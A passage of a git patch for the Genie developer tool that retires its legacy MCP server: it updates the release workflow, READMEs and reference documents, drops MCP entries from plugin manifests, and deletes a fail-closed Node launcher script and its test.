plugins/genie/scripts/mcp-launcher.cjs delete mode 100644 plugins/genie/scripts/mcp-launcher.test.ts delete mode 100644 scripts/codex-smoke-harness.test.ts delete mode 100644 src/lib/codex-mcp-health-session.test.ts delete mode 100644 src/lib/codex-mcp-health-session.ts delete mode 100644 tests/integration/codex-cross-version-update.test.ts delete mode 100644 tests/integration/codex-native-mcp-evidence.test.ts delete mode 100644 tests/integration/codex-task-cwd-mcp.test.ts delete mode 100644 tests/support/codex-native-mcp-evidence.test.ts delete mode 100644 tests/support/codex-native-mcp-evidence.ts delete mode 100755 tests/support/codex-native-mcp-launcher.sh diff --git a/.github/workflows/release-publish.yml b/.github/workflows/release-publish.yml index 78918fbf4..a7f382124 100644 --- a/.github/workflows/release-publish.yml +++ b/.github/workflows/release-publish.yml @@ -389,7 +389,7 @@ jobs: echo "previous_manifest_sha256=${PREVIOUS_MANIFEST_SHA256}" } >> "$GITHUB_OUTPUT" - - name: Upload manifest-derived native dogfood matrix + - name: Upload manifest-derived standalone dogfood matrix uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: name: codex-dogfood-candidate-matrix @@ -544,7 +544,7 @@ jobs: done codex-native-dogfood: - name: Codex native dogfood / ${{ matrix.platform }} + name: Codex standalone task/board dogfood / ${{ matrix.platform }} needs: [prepare-delivery-evidence, attest-delivery-evidence, delivery-evidence-compatibility] runs-on: ${{ matrix.runner }} timeout-minutes: 30 @@ -723,7 +723,7 @@ jobs: retention-days: 30 codex-dogfood-completeness: - name: Require complete Codex native dogfood matrix + name: Require complete Codex standalone dogfood matrix needs: [prepare-delivery-evidence, codex-native-dogfood] if: ${{ always() }} runs-on: ubuntu-latest @@ -731,17 +731,17 @@ jobs: permissions: contents: read steps: - - name: Reject failed, skipped, or unavailable native entries + - name: Reject failed, skipped, or unavailable standalone entries shell: bash env: PREPARE_RESULT: ${{ needs.prepare-delivery-evidence.result }} - NATIVE_RESULT: ${{ needs.codex-native-dogfood.result }} + STANDALONE_RESULT: ${{ needs.codex-native-dogfood.result }} EXPECTED_MATRIX: ${{ needs.prepare-delivery-evidence.outputs.dogfood_matrix }} EXPECTED_MANIFEST_SHA256: ${{ needs.prepare-delivery-evidence.outputs.candidate_manifest_sha256 }} run: | set -euo pipefail - [[ "$PREPARE_RESULT" == success && "$NATIVE_RESULT" == success ]] || { - echo "::error::Codex dogfood is incomplete (prepare=${PREPARE_RESULT}, native=${NATIVE_RESULT})" + [[ "$PREPARE_RESULT" == success && "$STANDALONE_RESULT" == success ]] || { + echo "::error::Codex dogfood is incomplete (prepare=${PREPARE_RESULT}, standalone=${STANDALONE_RESULT})" exit 1 } [[ -n "$EXPECTED_MATRIX" && -n "$EXPECTED_MANIFEST_SHA256" ]] || { diff --git a/README.md b/README.md index 5e3908382..ec0bea3f3 100644 --- a/README.md +++ b/README.md @@ -29,7 +29,7 @@ The repository-hosted `.well-known/latest.json` and `dev.json` manifests are the The installer detects Claude Code and Codex and delivers the selected, version-matched payloads. Control this with `--integrations auto|codex|claude|all|none` or `--skip-integrations`. Codex delivery is deliberately separate from activation: install/update verify the signed release and publish a complete authenticated delivery record, but never advance the Codex cache, change its enabled state, reconcile its project route, or write role agents. A delivered generation that still needs activation exits with an action-required result directing the operator to `genie setup --codex`. -From inside a trusted initialized repo, run `genie init` to reconcile the marker-owned project MCP route. Then run `genie setup --codex` from an external interactive terminal. Setup requires a matching authenticated delivery record before its first prompt or mutation; it activates the delivered plugin, proves the exact enabled payload and bounded MCP launcher, retires only clean historical user-tier fallbacks, converges seven optional role agents, and reconciles the project route. An already-current deliberately disabled plugin stays disabled, skips fallback retirement, and still repairs managed roles. Personal, modified, malformed-marker, and symlinked collisions remain untouched. Successful setup persists Codex delivery scope for later explicit updates, but those updates still deliver only; a new generation requires a fresh setup assertion. No hook installs software, activates plugins, synchronizes skills, or writes project instructions. +From inside a trusted initialized repo, run `genie init` to scaffold state and retire proven-owned historical MCP routes. Then run `genie setup --codex` from an external interactive terminal. Setup requires a matching authenticated delivery record before its first prompt or mutation; it activates the delivered plugin, proves the exact enabled payload, retires only clean historical user-tier fallbacks, and converges seven optional role agents. An already-current deliberately disabled plugin stays disabled, skips fallback retirement, and still repairs managed roles. Personal, modified, malformed-marker, and symlinked collisions remain untouched. Successful setup persists Codex delivery scope for later explicit updates, but those updates still deliver only; a new generation requires a fresh setup assertion. No hook installs software, activates plugins, synchronizes skills, or writes project instructions. Codex never auto-trusts plugin hooks. H4/H6 definitions bind the exact plugin launcher SHA-256 and the launcher verifies itself before spawning, so launcher changes produce new definitions; the current hook schema still cannot transitively bind the mutable platform-specific Genie binary. After successful Codex setup, inspect the three Genie definitions with `/hooks`, approve only the hashes you understand, and start a new task so the reviewed definitions take effect. Until then they remain untrusted and do not run. @@ -87,13 +87,12 @@ the exact public read operation named by the error only when the identifier was the outcome with an Orca operator before deciding whether to issue a new mutation. Genie never guesses an identifier from a collection or infers success from a partial response. -### Staged MCP retirement +### MCP retirement -The Orca plugin does not make the current MCP surface disappear in this documentation release. The legacy `genie mcp` -remains available, and `genie init` continues to manage only Genie-owned project registrations, until the later A7 PR -lands after dual-mode parity and migration gates. Do not remove project MCP routes pre-emptively. A7 will retire the -server and proved-owned registrations with a stable non-zero diagnostic while preserving unrelated configuration and -standalone history; rollback to a pre-A7 signed release remains the migration escape hatch. +The legacy Genie MCP server is retired. `genie mcp` exits non-zero with a stable diagnostic and never starts a server; +use the standalone `genie task` and `genie board` commands instead. `genie init` removes only marker-owned or exact +Genie-owned historical project registrations and preserves unrelated or unproven user configuration byte-for-byte. +Rollback to a pre-A7 signed release remains the migration escape hatch. Maintainers should read the [public Orca boundary and verb-amendment contract](plugins/genie/references/orca-orchestration.md) before changing the adapter or its operator guidance. @@ -131,14 +130,14 @@ genie --help | Command | What it does | |---------|-------------| -| `genie init` | Scaffold per-repo state and reconcile project MCP files (`.mcp.json` and the marker-owned `.codex/config.toml` stable-facade route) | +| `genie init` | Scaffold per-repo state and retire proven Genie-owned project MCP registrations | | `genie context` | Resolve spawn context — wish/group branch + base SHA, or the integration branch (versioned JSON; `--plan` previews) | | `genie board` | Kanban view of task state, derived live by query | | `genie idea` | Capture an idea into the roadmap board Idea lane (creates the board if absent) | | `genie task` | Inspect and drive task state (SQLite, zero-daemon) | | `genie ui-bridge` | Run the UI-owned stdio MCP bridge into genie.db (reads + roster writes + change-push) | | `genie install` | Finish a verified install and deliver selected integrations; Codex activation is deferred to setup | -| `genie mcp` | Serve Genie task/board state over stdio MCP (read + write tools) | +| `genie mcp` | Return the stable non-zero MCP-retirement diagnostic | | `genie omni` | Bridge agents to WhatsApp via Omni — remote approvals + inbound one-shots (`serve`, `status`, `inbox`, `handshake`) | | `genie setup` | Configure Genie; `setup --codex` activates an authenticated delivery and converges Codex-owned surfaces | | `genie doctor` | Run diagnostic checks on the installation | @@ -172,7 +171,7 @@ These five inventories are intentionally separate: | Fallback retirement | Hidden `~/.agents/skills/.genie-codex-fallback-retirement/` quarantine transaction | Not written on fresh setup. After authenticated activation, setup moves only provably clean historical copies here after one health proof; evidence is retained for recovery | | CLI integration | Seven optional `genie_*` role-agent TOMLs under `~/.codex/agents/` | Installed/repaired only by successful `genie setup --codex`, after authenticated-root revalidation and fallback retirement | | Personal skills | This maintainer currently has 36 separately adapted skills under `~/.agents/skills` | User-owned; not bundled with Genie and never implied by plugin installation; preserved byte-for-byte even on same-name collision | -| Project MCP route | Marker-owned `.codex/config.toml` entry for `genie mcp` | Points at the stable absolute `$GENIE_HOME/bin/genie` facade with no `cwd` override; the plugin declares no Codex MCP route | +| MCP retirement | No product MCP route or launcher | `genie init` removes only proven-owned historical routes and preserves personal/unrelated configuration | The plugin's 22 skills and a user's personal 36-skill library are separate inventories even when names overlap. Genie never seeds the user tier and preserves unmanaged, modified, malformed-marker, and symlinked user copies instead of adopting them; use `$genie:<skill>` when the plugin copy is intended. @@ -218,9 +217,9 @@ After a real convergence, verify from a restarted Codex session: ```text genie --version matches the enabled genie@automagik plugin -genie doctor reports plugin-only Codex skills and usable MCP +genie doctor reports plugin-only Codex skills and retired MCP routing Codex SessionStart and PreToolUse complete without hook failure -Genie MCP wish_status returns live data +genie mcp returns the stable non-zero retirement diagnostic loaded catalog contains genie:wish/genie:work and no managed bare duplicates ``` @@ -246,26 +245,16 @@ All linked worktrees of a repository share one `genie.db`, resolved from the git - Approval-gated agents launched with `--permission-mode default`. Under `auto` mode a passthrough `ask` can auto-resolve to allow, which defeats the timeout→ask fail-safe. - `genie omni serve` running as the one resident process. It is the *only* NATS client — `--help`, `task`, `board`, and every other command stay transport-free (`nats` never initializes on those paths). -## MCP server (Claude Code + Codex) +## MCP retirement -`genie mcp` is a zero-dependency [MCP](https://modelcontextprotocol.io) server over stdio exposing the operative task/board state: five read tools plus twelve `genie_task_*` write tools mirroring `genie task`. Codex does not launch it from the versioned plugin cache. Instead, every trusted initialized repository owns one marker-managed `.codex/config.toml` route pointing at the stable absolute `$GENIE_HOME/bin/genie mcp` facade, with no `cwd` override. Missing, symlinked, or path-escaped executables fail closed. +The legacy cross-client MCP server, its write tools, plugin launchers, and Genie-owned registrations are retired. +`genie mcp` prints `Error: genie mcp has been retired; use \`genie task\` and \`genie board\`, or roll back to a +pre-A7 signed release.` to stderr and exits 1 without reading or speaking MCP. `genie init` removes only historical +registrations proven to be Genie-owned; unowned same-name routes and every unrelated config key remain untouched. -**How it gets picked up.** `genie init` reconciles Claude Code and Codex project configs and may change the two project files named below; review those project-scoped commands before trusting the workspace. The Codex route is plugin-independent and is created or repaired only when its marker proves Genie ownership. Unowned same-key routes, damaged markers, nested shadowing, and untrusted repositories are preserved and reported rather than overwritten. - -- `.mcp.json` — Claude Code's project MCP config. Project-scope servers are *pending approval* until you trust the workspace (accept the trust dialog in an interactive `claude` session) — expected, not a bug. -- `.codex/config.toml` — marker-owned absolute stable-facade route with no effective `cwd` override. - -The Claude JSON config uses the `mcpServers` shape and is merged idempotently; the Codex TOML route uses marker-owned root-level dotted assignments so it cannot capture following keys. Re-running `genie init` preserves every other server and top-level key and rewrites byte-identical. A compiled Genie records the absolute executable plus `mcp`; an interpreted `bun src/genie.ts` or `bun dist/genie.js` run records the absolute Bun executable plus the absolute script and `mcp`. No route relies on bare `genie`, which is not reliably on PATH. Because `genie init` runs on the box that owns the repo, the recorded paths are correct there. - -**What it exposes** — five read tools backed by the per-repo `.genie/genie.db`, plus twelve operative write tools (`genie_task_create`, `genie_task_checkout`, `genie_task_done`, `genie_task_move`, `genie_task_block`, `genie_task_unblock`, `genie_task_release`, `genie_task_comment`, `genie_task_report`, `genie_task_heartbeat`, `genie_task_set_wish`, `genie_task_add_dependency`) that mirror the `genie task` CLI: - -- `genie_board` — board counts + tasks (optional wish filter) -- `genie_wish_status` — a wish's group/DAG progress -- `genie_worktree_context` — resolves the pane's `wish/<slug>-<group>` branch to its wish, group, and tasks (the per-pane "what am I here for") -- `genie_task` — full task detail by id -- `genie_active` — every in-progress task and who claimed it - -**Pull, not push.** Genie never injects state into a client session. The flow is pull: the agent *asks* genie over MCP (`genie_worktree_context`, `genie_board`, …) when it wants board state. +The UI-owned `genie ui-bridge` is not the retired product MCP integration. It retains its private stdio transport and +read/roster surface for the Genie UI. Standalone `genie task` and `genie board` retain their existing behavior in +standalone mode; Orca mode continues to use the public `orca orchestration ... --json` adapter as its sole authority. ## Hermes-native surface diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 2cd1bad62..28726c985 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -7,11 +7,5 @@ }, "repository": "https://github.com/automagik-dev/genie", "license": "MIT", - "keywords": ["workflow", "orchestration", "collaboration", "claude-code", "tmux", "agents"], - "mcpServers": { - "genie": { - "command": "node", - "args": ["${CLAUDE_PLUGIN_ROOT}/scripts/mcp-launcher.cjs"] - } - } + "keywords": ["workflow", "orchestration", "collaboration", "claude-code", "tmux", "agents"] } diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 3340452e3..a3e2a7bb8 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -15,7 +15,7 @@ "interface": { "displayName": "Genie", "shortDescription": "Plan, execute, review, and ship with Genie", - "longDescription": "First-class Genie workflows for Codex, including shared skills, lifecycle hooks, and MCP task state. Genie CLI setup can install optional role agents.", + "longDescription": "First-class Genie workflows for Codex, including shared skills and lifecycle hooks. Genie CLI setup can install optional role agents.", "developerName": "Namastex Labs", "category": "Developer Tools", "capabilities": ["Skills", "Hooks"], diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index ac583bffc..c5d8dbc0f 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -15,11 +15,6 @@ "skill": "genie" }, "commands": "./.kimi-plugin/commands/", - "mcpServers": { - "genie": { - "command": "./scripts/mcp-launcher.cjs" - } - }, "hooks": [ { "event": "SessionStart", @@ -49,7 +44,7 @@ "interface": { "displayName": "Genie", "shortDescription": "Plan, execute, review, and ship with Genie", - "longDescription": "First-class Genie workflows for Kimi Code CLI, including shared skills, lifecycle hooks, and MCP task state. Role agents can be installed optionally by copying agents/*.md into ~/.kimi-code/agents/.", + "longDescription": "First-class Genie workflows for Kimi Code CLI, including shared skills and lifecycle hooks. Role agents can be installed optionally by copying agents/*.md into ~/.kimi-code/agents/.", "developerName": "Namastex Labs", "websiteURL": "https://github.com/automagik-dev/genie" } diff --git a/plugins/genie/README.md b/plugins/genie/README.md index 1b215556d..3f18a4851 100644 --- a/plugins/genie/README.md +++ b/plugins/genie/README.md @@ -13,7 +13,7 @@ the packaged Orca payload is inert until the operator explicitly selects Orca au | Product skills | The plugin contains 22 physical in-root skill directories, each with `SKILL.md` and `agents/openai.yaml` | The **sole** Genie-managed skill provider; no escaping symlink and no user-tier copy — nothing is written to `~/.agents/skills` | | Fallback retirement | Hidden `~/.agents/skills/.genie-codex-fallback-retirement/` quarantine transaction | Never written on fresh setup. Authenticated setup moves only provably clean, digest-owned historical copies here after one plugin health proof; `txn-<id>/evidence/` archives retain changed trees for recovery | | Hooks | `.codex-plugin/plugin.json` points to `hooks/codex-hooks.json` | Three untrusted definitions only: H3 SessionStart context, H4 local PreToolUse guardrails, H6 PermissionRequest approval | -| MCP | Marker-owned project `.codex/config.toml` | Codex launches the stable absolute `$GENIE_HOME/bin/genie mcp` facade with no `cwd` override; the plugin declares no Codex MCP route | +| MCP | Retired | No launcher or registration ships; use standalone task/board or the Orca adapter | | Role agents | Seven TOMLs are staged in `codex-agents/` | Plugins cannot install custom agents. Authenticated `genie setup --codex` copies the optional profiles into `~/.codex/agents/` after enabled-plugin health/retirement; an exact deliberately disabled plugin skips retirement but still repairs roles | The plugin is the only Genie-managed skill provider. A fresh Codex install writes zero user-tier skills; bare `$<skill>` now resolves only a personal copy the user installed themselves. A maintainer may separately have 36 adapted skills under `~/.agents/skills`; those are user-owned, are not bundled here, and must survive update/uninstall byte-for-byte. An upgrade from a release that seeded digest-managed fallbacks retires only provably clean, Genie-owned copies into the hidden quarantine transaction after one health proof — a physical non-symlink directory with a valid versioned `.genie-sync.json`, a recomputed digest equal to the marker, and a match against the verified target payload or a committed verified-release historical tuple. Modified-managed, malformed-marker, symlinked, and unmanaged same-name collisions are preserved in place and reported, never adopted or deleted. @@ -67,7 +67,7 @@ No hook installs or updates Genie. Operators use: ```bash genie install --integrations codex # verify and publish the Codex delivery -genie setup --codex # activate it, retire clean fallbacks, converge roles + project route +genie setup --codex # activate it, retire clean fallbacks, converge roles genie update # deliver a newer signed binary/payload; never activate Codex ``` @@ -76,7 +76,7 @@ authenticated delivery facts but never advance the plugin cache, change enabled write roles. When a delivered generation is pending, close or retire tasks pinned to the prior generation and run setup from an external real terminal. Setup requires the matching record before its first prompt or mutation, activates the exact delivered bytes, proves plugin health, retires only provably clean historical fallbacks, and then converges role -profiles and the marker-owned project route. Unmanaged, modified, and personal skills stay user-owned; persisted scope +profiles. Unmanaged, modified, and personal skills stay user-owned; persisted scope does not authorize hooks or background updates. ### 2026-07-11 update incident @@ -93,7 +93,7 @@ Containment recovered all 22 adapted directories from Genie's automatic backup, | Slash commands | `.kimi-plugin/plugin.json` declares `commands: "./.kimi-plugin/commands/"` — thin wrappers for the core lifecycle skills, kept inside `.kimi-plugin/` so Claude Code's root-level `commands/` auto-discovery never loads them | `/genie:wish`, `/genie:work`, `/genie:review`, `/genie:brainstorm`, `/genie:fix`, `/genie:trace`, `/genie:report`, `/genie:docs`, `/genie:council`, `/genie:refine`, `/genie:pm` (the auto-router loads at session start, so no `/genie:genie` command) | | Session start | `sessionStart.skill: "genie"` in the manifest | Loads the auto-router skill into the main Agent at session start — the Kimi-native replacement for rule injection | | Hooks | Inline `hooks` array in `.kimi-plugin/plugin.json` | Same scripts as Claude (`session-context.cjs`, `dispatch-runtime.cjs claude`, `validate-wish.cjs`); the Stop-hook `validate-completion.cjs` was retired (see Retired hook surfaces below). Kimi's hook protocol is wire-compatible. Each command addresses its script as `"$KIMI_PLUGIN_ROOT/scripts/<name>.cjs"` rather than `./scripts/...`, so a hook can never resolve against the session cwd of a cloned repository. Note: Kimi `SessionStart` is observation-only, so wish-state context there is best-effort | -| MCP | `mcpServers.genie` in the manifest runs `./scripts/mcp-launcher.cjs` | Same canonical `$GENIE_HOME/bin/genie mcp` facade as Claude; the launcher file ships executable. Kimi spawns this command directly rather than through a shell, and documents no manifest-level environment interpolation, so it stays `./`-relative and relies on Kimi's documented contract that an stdio `command` starting with `./` resolves inside the plugin root (a server whose `command` or `cwd` escapes that root is ignored) | +| MCP | Retired | No Kimi MCP declaration or launcher ships | | Role agents | The seven `agents/*.md` profiles are Kimi-loadable as-is (Claude-style frontmatter is tolerated) | Plugin manifests cannot install agents. Optional manual step: copy `agents/*.md` into `~/.kimi-code/agents/` (or add the managed plugin's `agents/` dir to `extra_agent_dirs` in `config.toml`) | Kimi has no plugin surface for Claude's `settings.json` permissions, `scripts/statusline.sh`, or the stamped `workflows/council.js`; those remain Claude-only. Install with `/plugins install <path-to-this-directory>` in the Kimi TUI, then `/reload`. @@ -139,7 +139,7 @@ bun run skills:lint bun scripts/fresh-install-smoke.ts ``` -Release tarballs contain the compiled `genie` executable, the complete `plugins/` tree (including hooks, MCP launcher, role-agent staging, and the 22-skill mirror), root `skills/`, `templates/`, both runtime marketplace manifests, and `VERSION`. Build/version paths verify source-to-plugin parity, required component inventory, generated-hook parity, and version equality before packaging, then extract the finished archive and repeat the inventory/mode/resource/version checks against the extracted payload. +Release tarballs contain the compiled `genie` executable, the complete `plugins/` tree (including hooks, role-agent staging, and the 22-skill mirror), root `skills/`, `templates/`, both runtime marketplace manifests, and `VERSION`. Build/version paths verify source-to-plugin parity, required component inventory, generated-hook parity, and version equality before packaging, then extract the finished archive and repeat the inventory/mode/resource/version checks against the extracted payload. ## Claude Code and Hermes diff --git a/plugins/genie/orca-plugin.json b/plugins/genie/orca-plugin.json index 93e91b2ee..1c2a5dc27 100644 --- a/plugins/genie/orca-plugin.json +++ b/plugins/genie/orca-plugin.json @@ -3,7 +3,7 @@ "id": "genie", "publisher": "automagik", "name": "Genie", - "version": "5.260829.6", + "version": "5.260829.7", "description": "Genie workflows backed by Orca as the sole lifecycle authority.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/references/codex-integration-map.md b/plugins/genie/references/codex-integration-map.md index c321f4550..25c581b17 100644 --- a/plugins/genie/references/codex-integration-map.md +++ b/plugins/genie/references/codex-integration-map.md @@ -18,7 +18,7 @@ Official references: | Plugin manifest | `plugins/genie/.codex-plugin/plugin.json` | Declares Skills and Hooks only. Plugins do not ship custom agents or the repository-scoped Genie MCP route | | Product skills | `skills/` canonical; `plugins/genie/skills/` committed mirror | Exactly 23 physical, in-root skills with valid `name`/`description` frontmatter and `agents/openai.yaml`; source/package parity is fail-closed | | Hooks | `plugins/genie/hooks/codex-hooks.json` | Exactly H3 SessionStart, H4 PreToolUse, H6 PermissionRequest; all require explicit `/hooks` review and a new task after definition changes | -| MCP | Trusted project `.codex/config.toml` -> absolute `$GENIE_HOME/bin/genie mcp` | One marker-owned, plugin-independent route with no `cwd` override; unowned routes, damaged markers, and nested shadowing are preserved and reported | +| MCP | Retired | No runtime or launcher ships; `genie mcp` returns the stable non-zero diagnostic and owned project markers are removed | | Optional roles | `plugins/genie/codex-agents/*.toml` -> `~/.codex/agents/` | Seven setup-installed profiles, gated behind matching delivery, current plugin health, and fallback retirement | | Fallback retirement | `~/.agents/skills/.genie-codex-fallback-retirement/` | No supported path writes Genie product skills to `~/.agents/skills`. Upgrades from a fallback-seeding release retire only provably clean, digest-owned historical copies into one durable quarantine transaction after a single plugin health proof; unmanaged, malformed, symlinked, or modified collisions are preserved and reported | | Personal migration | 36 adapted skills and 14 custom agents in the maintainer's user tier | Separate user-owned installation; not part of the 23-skill product payload; survives update/uninstall byte-for-byte | diff --git a/plugins/genie/references/native-surfaces.md b/plugins/genie/references/native-surfaces.md index c78f5b0b0..6ceef17a8 100644 --- a/plugins/genie/references/native-surfaces.md +++ b/plugins/genie/references/native-surfaces.md @@ -6,7 +6,7 @@ Genie skills describe roles and coordination without inventing a cross-client to |---------|----------|-----------|-----------| | Claude Code | Use its current native Agent surface and an available named role | Use the runtime's supported isolation/worktree option when present | Use the runtime's documented messaging surface when available; otherwise re-dispatch with curated context | | Codex | Use the matching `genie_*` custom agent when the CLI-installed profiles are present; otherwise use an available generic subagent | Native subagents share the caller's workspace by default | Use the active native follow-up tool exposed in the session; do not hardcode an undocumented function name into a skill | -| Hermes | Chat/reasoning cockpit; drives the shared skills through `skills.external_dirs` and reads task truth via the genie MCP read tools plus native `genie_status`/`genie_work_plan`/`genie_review_plan` | Genie remains the execution system — Hermes issues no isolated worktrees itself; per-group Git isolation is orchestrator-arranged | Read-only surface: every payload reports `mutation: "none"`; mutations are deferred behind an explicit human gate (see `plugins/hermes-genie/references/mutation-gates.md`) | +| Hermes | Chat/reasoning cockpit; drives shared skills through `skills.external_dirs` and reads task truth through native tools backed by standalone `genie task` and `genie board` JSON commands | Genie remains the execution system — Hermes issues no isolated worktrees itself; per-group Git isolation is orchestrator-arranged | Read-only surface: every payload reports `mutation: "none"`; mutations are deferred behind an explicit human gate (see `plugins/hermes-genie/references/mutation-gates.md`) | This table says what each runtime offers, not what dispatch is allowed to do with it. The concurrency contract — when parallel writers may share a workspace, and what a shared-workspace subagent must not touch — is stated once in AGENTS.md and the `work` skill's Dispatch section (shipped to agents as rule 3 of `references/dispatch-contract.md`); apply it from there. diff --git a/plugins/genie/references/orca-orchestration.md b/plugins/genie/references/orca-orchestration.md index 493fa937f..b1170764d 100644 --- a/plugins/genie/references/orca-orchestration.md +++ b/plugins/genie/references/orca-orchestration.md @@ -88,10 +88,9 @@ Every supported release tarball must contain `orca-plugin.json` and `orca-entryp package metadata, and pass extracted-package installation verification. Stable remains the default release channel; selecting an Orca lifecycle mode is separate from selecting a release channel. -## MCP retirement sequencing +## MCP retirement -Do not remove `genie mcp`, its launchers, or registrations in Option A documentation work. The legacy MCP remains shipped -until the later A7 PR, after authority, adapter, plugin, lifecycle, packaging, and documentation gates are green. A7 may -remove only proved-owned registrations, must preserve unrelated user configuration and both authorities' history, and -must leave the documented stable non-zero retired diagnostic. Until then, documentation must describe retirement as -staged rather than complete. +A7 retired the Genie MCP runtime, launchers, and only registrations whose Genie ownership is proven. `genie mcp` now +exits non-zero with the stable diagnostic documented in the repository README and never starts a compatibility server. +Unrelated user configuration and both authorities' lifecycle history remain untouched; use standalone task/board or +roll back to a pre-A7 signed release when temporary MCP compatibility is required. diff --git a/plugins/genie/scripts/mcp-launcher.cjs b/plugins/genie/scripts/mcp-launcher.cjs deleted file mode 100755 index 8fa1307a7..000000000 --- a/plugins/genie/scripts/mcp-launcher.cjs +++ /dev/null @@ -1,115 +0,0 @@ -#!/usr/bin/env node -'use strict'; - -/** - * Codex plugin-local launcher for `genie mcp`. - * - * This file intentionally has no PATH or shell fallback. The only executable - * it will start is the canonical platform binary under `$GENIE_HOME/bin` - * (default `~/.genie/bin`). Missing, non-regular, symlinked, or non-executable - * binaries fail closed so an enabled plugin cannot silently route elsewhere. - */ - -const { accessSync, constants, lstatSync, realpathSync } = require('node:fs'); -const { homedir } = require('node:os'); -const { isAbsolute, join, normalize } = require('node:path'); -const { spawn } = require('node:child_process'); - -/** - * @typedef {object} McpLaunchOptions - * @property {NodeJS.ProcessEnv} [env] - * @property {NodeJS.Platform} [platform] - * @property {string} [userHome] - * @property {typeof spawn} [spawnImpl] - */ - -/** @param {McpLaunchOptions} [options] */ -function resolveGenieBinary(options = {}) { - const env = options.env ?? process.env; - const platform = options.platform ?? process.platform; - const userHome = options.userHome ?? homedir(); - const configuredHome = env.GENIE_HOME; - const genieHome = configuredHome && configuredHome.trim() ? configuredHome : join(userHome, '.genie'); - if (!isAbsolute(genieHome)) { - throw new Error(`GENIE_HOME must be absolute for Codex MCP startup: ${JSON.stringify(genieHome)}`); - } - - const fileName = platform === 'win32' ? 'genie.exe' : 'genie'; - const expected = normalize(join(genieHome, 'bin', fileName)); - const stat = lstatSync(expected); - if (!stat.isFile() || stat.isSymbolicLink()) { - throw new Error(`canonical Genie MCP binary is not a regular file: ${expected}`); - } - const canonical = realpathSync(expected); - const equivalentExpected = platform === 'darwin' && expected.startsWith('/') ? `/private${expected}` : expected; - if (normalize(canonical) !== expected && normalize(canonical) !== equivalentExpected) { - throw new Error(`canonical Genie MCP binary resolves outside its expected path: ${expected} -> ${canonical}`); - } - accessSync(canonical, platform === 'win32' ? constants.F_OK : constants.X_OK); - return canonical; -} - -/** @param {McpLaunchOptions} [options] */ -function launchMcp(options = {}) { - const binary = resolveGenieBinary(options); - const spawnImpl = options.spawnImpl ?? spawn; - const child = spawnImpl(binary, ['mcp'], { - stdio: 'inherit', - shell: false, - windowsHide: true, - }); - - const graceOverride = Number((options.env ?? process.env).GENIE_MCP_KILL_GRACE_MS); - const killGraceMs = Number.isFinite(graceOverride) && graceOverride > 0 ? Math.min(graceOverride, 1_000) : 1_000; - /** @type {NodeJS.Signals | null} */ - let forwardedSignal = null; - /** @type {NodeJS.Timeout | undefined} */ - let forceTimer; - /** @type {NodeJS.Signals[]} */ - const forwardedSignalNames = ['SIGINT', 'SIGTERM']; - const listeners = forwardedSignalNames.map((signal) => { - const listener = () => { - if (forwardedSignal) return; - forwardedSignal = signal; - child.kill(signal); - forceTimer = setTimeout(() => child.kill('SIGKILL'), killGraceMs); - if (typeof forceTimer.unref === 'function') forceTimer.unref(); - }; - process.once(signal, listener); - return { signal, listener }; - }); - const cleanup = () => { - if (forceTimer) clearTimeout(forceTimer); - for (const { signal, listener } of listeners) process.off(signal, listener); - }; - child.once('error', (error) => { - cleanup(); - process.stderr.write(`genie MCP launcher failed: ${error.message}\n`); - process.exitCode = 1; - }); - child.once('exit', (code, signal) => { - cleanup(); - if (forwardedSignal) { - process.kill(process.pid, forwardedSignal); - return; - } - if (signal) { - process.stderr.write(`genie MCP exited on ${signal}\n`); - process.exitCode = 1; - return; - } - process.exitCode = code ?? 1; - }); - return child; -} - -if (require.main === module) { - try { - launchMcp(); - } catch (error) { - process.stderr.write(`genie MCP launcher refused startup: ${error instanceof Error ? error.message : String(error)}\n`); - process.exitCode = 1; - } -} - -module.exports = { launchMcp, resolveGenieBinary }; diff --git a/plugins/genie/scripts/mcp-launcher.test.ts b/plugins/genie/scripts/mcp-launcher.test.ts deleted file mode 100644 index 609a77df2..000000000 --- a/plugins/genie/scripts/mcp-launcher.test.ts +++ /dev/null @@ -1,141 +0,0 @@ -import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; -import { - chmodSync, - cpSync, - existsSync, - mkdirSync, - mkdtempSync, - realpathSync, - rmSync, - symlinkSync, - writeFileSync, -} from 'node:fs'; -import { tmpdir } from 'node:os'; -import { join } from 'node:path'; - -const SOURCE_PLUGIN = join(import.meta.dir, '..'); -const NODE_BIN = Bun.which('node'); -if (!NODE_BIN) throw new Error('Node is required to test the Codex plugin MCP launcher'); - -let root: string; - -beforeEach(() => { - root = mkdtempSync(join(tmpdir(), 'genie-mcp-launcher-')); -}); - -afterEach(() => { - rmSync(root, { recursive: true, force: true }); -}); - -function seedFakeGenie(genieHome: string): string { - const binary = join(genieHome, 'bin', process.platform === 'win32' ? 'genie.exe' : 'genie'); - mkdirSync(join(genieHome, 'bin'), { recursive: true }); - writeFileSync( - binary, - `#!${NODE_BIN}\nprocess.stdout.write(JSON.stringify({ args: process.argv.slice(2), cwd: process.cwd() }));\n`, - ); - chmodSync(binary, 0o755); - return binary; -} - -function controlledNodePath(): string { - const binDir = join(root, 'controlled-path'); - mkdirSync(binDir, { recursive: true }); - symlinkSync(NODE_BIN, join(binDir, 'node')); - return `${binDir}:/usr/bin:/bin`; -} - -function runLauncher(pluginRoot: string, genieHome: string, path = controlledNodePath()) { - // Exact committed .mcp.json command/args/cwd contract. - return Bun.spawnSync(['node', './scripts/mcp-launcher.cjs'], { - cwd: pluginRoot, - env: { ...process.env, GENIE_HOME: genieHome, PATH: path }, - stdin: 'pipe', - stdout: 'pipe', - stderr: 'pipe', - timeout: 2_000, - }); -} - -describe('plugin-local MCP launcher', () => { - test('starts the canonical binary from the source plugin with only the mcp argument', () => { - const genieHome = join(root, 'genie-home'); - seedFakeGenie(genieHome); - const result = runLauncher(SOURCE_PLUGIN, genieHome); - expect(result.exitCode).toBe(0); - 